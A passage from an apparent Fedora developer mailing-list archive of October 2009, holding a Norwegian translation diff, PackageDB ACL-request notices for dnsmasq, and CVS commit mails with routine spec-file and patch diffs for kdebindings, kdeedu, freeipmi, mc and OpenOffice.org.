@@ -1524,12 +1520,10 @@ msgstr "St?tte for tetum"
 
 #: ../comps-f11.xml.in.h:224 ../comps-f12.xml.in.h:235
 #: ../comps-f13.xml.in.h:235
-#, fuzzy
 msgid ""
 "This group is a collection of tools used in the design, modification, "
 "manipulation, and packaging of fonts."
-msgstr ""
-"Denne gruppen er en samling av verkt?y og ressurser for armenske milj?er."
+msgstr "Denne gruppen er en samling av verkt?y og ressurser som brukes for utforming, endring, manipulering og pakking av skrifter."
 
 #: ../comps-f11.xml.in.h:236 ../comps-f12.xml.in.h:247
 #: ../comps-f13.xml.in.h:247
@@ -1538,37 +1532,36 @@ msgstr "St?tte for turkmensk"
 
 #: ../comps-f11.xml.in.h:238 ../comps-f12.xml.in.h:249
 #: ../comps-f13.xml.in.h:249
-#, fuzzy
 msgid "Upper Sorbian Support"
-msgstr "St?tte for "
+msgstr "St?tte for ?vre sorbisk"
 
 #: ../comps-f12.xml.in.h:2 ../comps-f13.xml.in.h:2
 msgid ""
 "A set of packages that provide the Critical Path functionality for the GNOME "
 "desktop"
-msgstr ""
+msgstr "Et sett med pakker som gir grunnleggende funksjonalitet for GNOME skrivebordet."
 
 #: ../comps-f12.xml.in.h:3 ../comps-f13.xml.in.h:3
 msgid ""
 "A set of packages that provide the shared platform for Critical Path "
 "functionality on all Fedora spins"
-msgstr ""
+msgstr "Set sett med pakker som inneholder den grunnleggende delte plattformen for alle Fedora pakkesett"
 
 #: ../comps-f12.xml.in.h:23 ../comps-f13.xml.in.h:23
 msgid "Books and Guides"
-msgstr ""
+msgstr "B?ker og veiledninger"
 
 #: ../comps-f12.xml.in.h:24 ../comps-f13.xml.in.h:24
 msgid "Books and Guides for Fedora users and developers"
-msgstr ""
+msgstr "B?ker og veiledninger for Fedoras brukere og utviklere"
 
 #: ../comps-f12.xml.in.h:37 ../comps-f13.xml.in.h:37
 msgid "Critical Path (Base)"
-msgstr ""
+msgstr "Grunnleggende (basis)"
 
 #: ../comps-f12.xml.in.h:38 ../comps-f13.xml.in.h:38
 msgid "Critical Path (GNOME)"
-msgstr ""
+msgstr "Grunnleggende (GNOME)"
 
 #: ../comps-f12.xml.in.h:50 ../comps-f13.xml.in.h:50
 msgid "Directory Server"



From pkgdb at fedoraproject.org  Mon Oct  5 10:43:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:43:45 +0000
Subject: [pkgdb] dnsmasq: markmc has requested watchcommits
Message-ID: <20091005104345.4586410F871@bastion2.fedora.phx.redhat.com>

markmc has requested the watchcommits acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:43:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:43:45 +0000
Subject: [pkgdb] dnsmasq: markmc has requested watchbugzilla
Message-ID: <20091005104345.8F81C10F892@bastion2.fedora.phx.redhat.com>

markmc has requested the watchbugzilla acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:43:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:43:46 +0000
Subject: [pkgdb] dnsmasq: markmc has requested commit
Message-ID: <20091005104349.5D83810F871@bastion2.fedora.phx.redhat.com>

markmc has requested the commit acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:43:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:43:48 +0000
Subject: [pkgdb] dnsmasq: markmc has requested approveacls
Message-ID: <20091005104348.7B30310F89C@bastion2.fedora.phx.redhat.com>

markmc has requested the approveacls acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:02 +0000
Subject: [pkgdb] dnsmasq: markmc has requested watchcommits
Message-ID: <20091005104402.C412E10F88E@bastion2.fedora.phx.redhat.com>

markmc has requested the watchcommits acl on dnsmasq (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:07 +0000
Subject: [pkgdb] dnsmasq: markmc has requested watchbugzilla
Message-ID: <20091005104407.94AFE10F871@bastion2.fedora.phx.redhat.com>

markmc has requested the watchbugzilla acl on dnsmasq (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:09 +0000
Subject: [pkgdb] dnsmasq: markmc has requested commit
Message-ID: <20091005104409.AA36410F89C@bastion2.fedora.phx.redhat.com>

markmc has requested the commit acl on dnsmasq (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:11 +0000
Subject: [pkgdb] dnsmasq: markmc has requested approveacls
Message-ID: <20091005104411.B5D8810F892@bastion2.fedora.phx.redhat.com>

markmc has requested the approveacls acl on dnsmasq (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:14 +0000
Subject: [pkgdb] dnsmasq: markmc has requested approveacls
Message-ID: <20091005104414.1ACF310F895@bastion2.fedora.phx.redhat.com>

markmc has requested the approveacls acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:15 +0000
Subject: [pkgdb] dnsmasq: markmc has requested commit
Message-ID: <20091005104415.5F1FA10F8A1@bastion2.fedora.phx.redhat.com>

markmc has requested the commit acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:16 +0000
Subject: [pkgdb] dnsmasq: markmc has requested watchcommits
Message-ID: <20091005104416.BC61510F8A9@bastion2.fedora.phx.redhat.com>

markmc has requested the watchcommits acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:19 +0000
Subject: [pkgdb] dnsmasq: markmc has requested watchbugzilla
Message-ID: <20091005104419.3B81D10F88F@bastion2.fedora.phx.redhat.com>

markmc has requested the watchbugzilla acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:22 +0000
Subject: [pkgdb] dnsmasq: markmc has requested watchbugzilla
Message-ID: <20091005104423.0876310F89C@bastion2.fedora.phx.redhat.com>

markmc has requested the watchbugzilla acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:24 +0000
Subject: [pkgdb] dnsmasq: markmc has requested watchcommits
Message-ID: <20091005104425.0AB8910F8A8@bastion2.fedora.phx.redhat.com>

markmc has requested the watchcommits acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:26 +0000
Subject: [pkgdb] dnsmasq: markmc has requested commit
Message-ID: <20091005104426.721F910F8AD@bastion2.fedora.phx.redhat.com>

markmc has requested the commit acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:44:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:44:28 +0000
Subject: [pkgdb] dnsmasq: markmc has requested approveacls
Message-ID: <20091005104428.32C3F10F8A9@bastion2.fedora.phx.redhat.com>

markmc has requested the approveacls acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:45:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:45:52 +0000
Subject: [pkgdb] dnsmasq: veillard has requested watchcommits
Message-ID: <20091005104552.6114610F871@bastion2.fedora.phx.redhat.com>

veillard has requested the watchcommits acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:45:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:45:59 +0000
Subject: [pkgdb] dnsmasq: veillard has requested watchbugzilla
Message-ID: <20091005104559.74C1910F871@bastion2.fedora.phx.redhat.com>

veillard has requested the watchbugzilla acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:46:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:46:02 +0000
Subject: [pkgdb] dnsmasq: veillard has requested commit
Message-ID: <20091005104602.226EA10F894@bastion2.fedora.phx.redhat.com>

veillard has requested the commit acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:46:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:46:22 +0000
Subject: [pkgdb] dnsmasq: veillard has requested watchbugzilla
Message-ID: <20091005104622.0990210F892@bastion2.fedora.phx.redhat.com>

veillard has requested the watchbugzilla acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:46:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:46:23 +0000
Subject: [pkgdb] dnsmasq: veillard has requested watchcommits
Message-ID: <20091005104623.1D81310F89C@bastion2.fedora.phx.redhat.com>

veillard has requested the watchcommits acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:46:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:46:25 +0000
Subject: [pkgdb] dnsmasq: veillard has requested commit
Message-ID: <20091005104625.A1F3110F8A2@bastion2.fedora.phx.redhat.com>

veillard has requested the commit acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:46:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:46:40 +0000
Subject: [pkgdb] dnsmasq: veillard has requested watchbugzilla
Message-ID: <20091005104640.3C4CA10F871@bastion2.fedora.phx.redhat.com>

veillard has requested the watchbugzilla acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:46:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:46:42 +0000
Subject: [pkgdb] dnsmasq: veillard has requested watchcommits
Message-ID: <20091005104642.4892710F894@bastion2.fedora.phx.redhat.com>

veillard has requested the watchcommits acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 10:46:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 10:46:44 +0000
Subject: [pkgdb] dnsmasq: veillard has requested commit
Message-ID: <20091005104645.0671810F871@bastion2.fedora.phx.redhat.com>

veillard has requested the commit acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From than at fedoraproject.org  Mon Oct  5 10:46:45 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 10:46:45 +0000 (UTC)
Subject: rpms/kdebindings/devel .cvsignore, 1.63, 1.64 kdebindings.spec,
	1.243, 1.244 sources, 1.71, 1.72
Message-ID: <20091005104645.9E0E411C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdebindings/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4488

Modified Files:
	.cvsignore kdebindings.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/devel/.cvsignore,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- .cvsignore	1 Sep 2009 17:16:57 -0000	1.63
+++ .cvsignore	5 Oct 2009 10:46:45 -0000	1.64
@@ -1 +1,2 @@
 kdebindings-4.3.1.tar.bz2
+kdebindings-4.3.2.tar.bz2


Index: kdebindings.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/devel/kdebindings.spec,v
retrieving revision 1.243
retrieving revision 1.244
diff -u -p -r1.243 -r1.244
--- kdebindings.spec	28 Sep 2009 13:33:07 -0000	1.243
+++ kdebindings.spec	5 Oct 2009 10:46:45 -0000	1.244
@@ -44,8 +44,8 @@
 %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")
 
 Name: kdebindings
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 Summary: KDE bindings to non-C++ languages
 
 # http://techbase.kde.org/Policies/Licensing_Policy
@@ -526,6 +526,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Sep 25 2009 Than Ngo <than at redhat.com> - 4.3.1-4
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/devel/sources,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- sources	28 Aug 2009 13:10:04 -0000	1.71
+++ sources	5 Oct 2009 10:46:45 -0000	1.72
@@ -1 +1 @@
-6cc71c3f6136d3b69f7a109d03ddfe40  kdebindings-4.3.1.tar.bz2
+3187ea9d9913edf4c25ba299dab0d117  kdebindings-4.3.2.tar.bz2



From than at fedoraproject.org  Mon Oct  5 10:52:57 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 10:52:57 +0000 (UTC)
Subject: rpms/kdeedu/devel .cvsignore, 1.70, 1.71 kdeedu.spec, 1.209,
	1.210 sources, 1.71, 1.72
Message-ID: <20091005105257.8E1B311C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeedu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6261

Modified Files:
	.cvsignore kdeedu.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/devel/.cvsignore,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- .cvsignore	1 Sep 2009 17:24:25 -0000	1.70
+++ .cvsignore	5 Oct 2009 10:52:57 -0000	1.71
@@ -1 +1,2 @@
 kdeedu-4.3.1.tar.bz2
+kdeedu-4.3.2.tar.bz2


Index: kdeedu.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/devel/kdeedu.spec,v
retrieving revision 1.209
retrieving revision 1.210
diff -u -p -r1.209 -r1.210
--- kdeedu.spec	29 Sep 2009 20:47:54 -0000	1.209
+++ kdeedu.spec	5 Oct 2009 10:52:57 -0000	1.210
@@ -6,8 +6,8 @@
 
 Name:    kdeedu
 Summary: Educational/Edutainment applications
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group:	 Amusements/Games
@@ -487,6 +487,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-4
 - kdeedu-marble multilib fixes (rebuild for digikam botch)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/devel/sources,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- sources	28 Aug 2009 13:18:32 -0000	1.71
+++ sources	5 Oct 2009 10:52:57 -0000	1.72
@@ -1 +1 @@
-f283c3727e3507e548e43b84a28def7d  kdeedu-4.3.1.tar.bz2
+d96d87627471d5b34ccfbb44a5fa50f8  kdeedu-4.3.2.tar.bz2



From jsafrane at fedoraproject.org  Mon Oct  5 10:56:52 2009
From: jsafrane at fedoraproject.org (=?utf-8?b?SmFuIMWgYWZyw6FuZWs=?=)
Date: Mon,  5 Oct 2009 10:56:52 +0000 (UTC)
Subject: rpms/freeipmi/devel freeipmi.spec,1.25,1.26
Message-ID: <20091005105652.BB47411C00DB@cvs1.fedora.phx.redhat.com>

Author: jsafrane

Update of /cvs/pkgs/rpms/freeipmi/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7205

Modified Files:
	freeipmi.spec 
Log Message:
Fix package source URL


Index: freeipmi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/freeipmi/devel/freeipmi.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- freeipmi.spec	2 Oct 2009 08:35:39 -0000	1.25
+++ freeipmi.spec	5 Oct 2009 10:56:52 -0000	1.26
@@ -2,14 +2,14 @@
 # Copyright (c) 2003 FreeIPMI Core Team
 #
 
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 Name: freeipmi
 Version: 0.7.13
 License: GPLv2+
 Group: Applications/System
 URL: http://www.gnu.org/software/freeipmi/
-Source: ftp://ftp.zresearch.com/pub/freeipmi/%{version}/%{name}-%{version}.tar.gz
+Source: ftp://ftp.gluster.com/pub/freeipmi/%{version}/%{name}-%{version}.tar.gz
 Patch1: freeipmi-0.5.1-regex.patch
 Patch2: freeipmi-0.6.4-silent.patch
 Patch3: freeipmi-0.6.4-argmax.patch
@@ -293,6 +293,9 @@ fi
 %{_mandir}/man8/ipmidetectd.8*
 
 %changelog
+* Mon Oct  5 2009 Jan Safranek <jsafrane at redhat.com> - 0.7.13-2
+- Fix package source URL
+
 * Fri Oct  2 2009 Jan Safranek <jsafrane at redhat.com> - 0.7.13-1
 - Update to freeipmi-0.7.13
 



From jsafrane at fedoraproject.org  Mon Oct  5 10:57:36 2009
From: jsafrane at fedoraproject.org (=?utf-8?b?SmFuIMWgYWZyw6FuZWs=?=)
Date: Mon,  5 Oct 2009 10:57:36 +0000 (UTC)
Subject: rpms/freeipmi/F-12 freeipmi.spec,1.24,1.25
Message-ID: <20091005105736.B9FB511C00DB@cvs1.fedora.phx.redhat.com>

Author: jsafrane

Update of /cvs/pkgs/rpms/freeipmi/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7400

Modified Files:
	freeipmi.spec 
Log Message:
Fix package source URL


Index: freeipmi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/freeipmi/F-12/freeipmi.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- freeipmi.spec	14 Sep 2009 13:44:49 -0000	1.24
+++ freeipmi.spec	5 Oct 2009 10:57:36 -0000	1.25
@@ -2,14 +2,14 @@
 # Copyright (c) 2003 FreeIPMI Core Team
 #
 
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 Name: freeipmi
 Version: 0.7.12
 License: GPLv2+
 Group: Applications/System
 URL: http://www.gnu.org/software/freeipmi/
-Source: ftp://ftp.zresearch.com/pub/freeipmi/%{version}/%{name}-%{version}.tar.gz
+Source: ftp://ftp.gluster.com/pub/freeipmi/%{version}/%{name}-%{version}.tar.gz
 Patch1: freeipmi-0.5.1-regex.patch
 Patch2: freeipmi-0.6.4-silent.patch
 Patch3: freeipmi-0.6.4-argmax.patch
@@ -293,7 +293,10 @@ fi
 %{_mandir}/man8/ipmidetectd.8*
 
 %changelog
-* Mon Sep 14 2009 Jan Safranek <jsafrane at redhat.com> - 0.7.12-2
+* Mon Oct  5 2009 Jan Safranek <jsafrane at redhat.com> - 0.7.12-4
+- Fix package source URL
+
+* Mon Sep 14 2009 Jan Safranek <jsafrane at redhat.com> - 0.7.12-3
 - Fix init scripts to be LSB compliant and return correct exit codes
   and provide mandatory actions (#523169, #523177)
 



From jnovy at fedoraproject.org  Mon Oct  5 11:42:17 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Mon,  5 Oct 2009 11:42:17 +0000 (UTC)
Subject: rpms/mc/devel mc.spec,1.149,1.150
Message-ID: <20091005114217.429B311C00DB@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/mc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20074

Modified Files:
	mc.spec 
Log Message:
- add BR: gpm-devel



Index: mc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mc/devel/mc.spec,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- mc.spec	5 Oct 2009 09:08:44 -0000	1.149
+++ mc.spec	5 Oct 2009 11:42:16 -0000	1.150
@@ -9,7 +9,7 @@ Group:		System Environment/Shells
 Source0:	mc-%{version}-pre3.tar.bz2
 URL:		http://www.midnight-commander.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:	glib2-devel e2fsprogs-devel slang-devel
+BuildRequires:	glib2-devel e2fsprogs-devel slang-devel gpm-devel
 Requires:	dev >= 3.3-3
 
 Patch1:		mc-exit.patch
@@ -83,6 +83,7 @@ rm -rf $RPM_BUILD_ROOT
 %changelog
 * Mon Oct  5 2009 Jindrich Novy <jnovy at redhat.com> 4.7.0-0.5.pre3
 - update to 4.7.0-pre3
+- add BR: gpm-devel
 
 * Tue Sep  1 2009 Jindrich Novy <jnovy at redhat.com> 4.7.0-0.4.pre2
 - update to 4.7.0-pre2



From caolanm at fedoraproject.org  Mon Oct  5 11:50:37 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon,  5 Oct 2009 11:50:37 +0000 (UTC)
Subject: rpms/openoffice.org/F-12
	openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch, NONE,
	1.1 openoffice.org.spec, 1.2014, 1.2015
Message-ID: <20091005115037.9EB1911C02A0@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22966/F-12

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch 
Log Message:
Resolves: rhbz#527177 add openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch

openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch:
 atkutil.cxx |   13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

--- NEW FILE openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch ---
--- vcl.orig/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:06:01.000000000 +0100
+++ vcl/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:10:07.000000000 +0100
@@ -190,7 +190,7 @@
                 if( accessibility::AccessibleStateType::FOCUSED == nState )
                     atk_wrapper_focus_tracker_notify_when_idle( getAccessible(aEvent) );
             }
-            catch(lang::IndexOutOfBoundsException e)
+            catch(const lang::IndexOutOfBoundsException &e)
             {
                 g_warning("Focused object has invalid index in parent");
             }
@@ -546,7 +546,14 @@
         if( g_aWindowList.find(pWindow) == g_aWindowList.end() )
         {
             g_aWindowList.insert(pWindow);
-            aDocumentFocusListener->attachRecursive(xAccessible, xContext, xStateSet);
+            try
+            {
+                aDocumentFocusListener->attachRecursive(xAccessible, xContext, xStateSet);
+            }
+            catch( const uno::Exception &e )
+            {
+                g_warning( "Exception caught processing focus events" );
+            }
         }
 #ifdef ENABLE_TRACING
         else
@@ -577,7 +584,7 @@
             }
         }
     } 
-    catch( uno::Exception e )
+    catch( const uno::Exception &e )
     {
         g_warning( "Exception caught processing menu highlight events" );
     }


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2014
retrieving revision 1.2015
diff -u -p -r1.2014 -r1.2015
--- openoffice.org.spec	30 Sep 2009 14:02:41 -0000	1.2014
+++ openoffice.org.spec	5 Oct 2009 11:50:37 -0000	1.2015
@@ -1,6 +1,6 @@
 %define oootag OOO310
 %define ooomilestone 19
-%define rh_rpm_release 10
+%define rh_rpm_release 11
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -162,6 +162,7 @@ Patch85: openoffice.org-3.1.1.ooo64671.c
 Patch86: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
 Patch87: workspace.aw073.patch
 Patch88: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
+Patch89: openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1710,6 +1711,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch86 -p1 -b .oooXXXXXX.sal.justcoredump.patch
 %patch87 -p0 -b .workspace.aw073.patch
 %patch88 -p0 -b .ooo92671.vcl.coverageformat2.patch
+%patch89 -p0 -b .ooo105613.vcl.a11y.exceptions.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4243,6 +4245,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Mon Oct 05 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11-UNRELEASED
+- Resolves: rhbz#527177 add openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch (caolanm)
+
 * Wed Sep 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.10
 - Resolves: rhbz#461617 gsub coverage format 2 with greater than 1 ranges (caolanm)
 



From caolanm at fedoraproject.org  Mon Oct  5 11:50:37 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon,  5 Oct 2009 11:50:37 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch, NONE,
	1.1 openoffice.org.spec, 1.2015, 1.2016
Message-ID: <20091005115037.C681511C02A0@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22966/devel

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch 
Log Message:
Resolves: rhbz#527177 add openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch

openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch:
 atkutil.cxx |   13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

--- NEW FILE openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch ---
--- vcl.orig/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:06:01.000000000 +0100
+++ vcl/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:10:07.000000000 +0100
@@ -190,7 +190,7 @@
                 if( accessibility::AccessibleStateType::FOCUSED == nState )
                     atk_wrapper_focus_tracker_notify_when_idle( getAccessible(aEvent) );
             }
-            catch(lang::IndexOutOfBoundsException e)
+            catch(const lang::IndexOutOfBoundsException &e)
             {
                 g_warning("Focused object has invalid index in parent");
             }
@@ -546,7 +546,14 @@
         if( g_aWindowList.find(pWindow) == g_aWindowList.end() )
         {
             g_aWindowList.insert(pWindow);
-            aDocumentFocusListener->attachRecursive(xAccessible, xContext, xStateSet);
+            try
+            {
+                aDocumentFocusListener->attachRecursive(xAccessible, xContext, xStateSet);
+            }
+            catch( const uno::Exception &e )
+            {
+                g_warning( "Exception caught processing focus events" );
+            }
         }
 #ifdef ENABLE_TRACING
         else
@@ -577,7 +584,7 @@
             }
         }
     } 
-    catch( uno::Exception e )
+    catch( const uno::Exception &e )
     {
         g_warning( "Exception caught processing menu highlight events" );
     }


Index: openoffice.org.spec
===================================================================
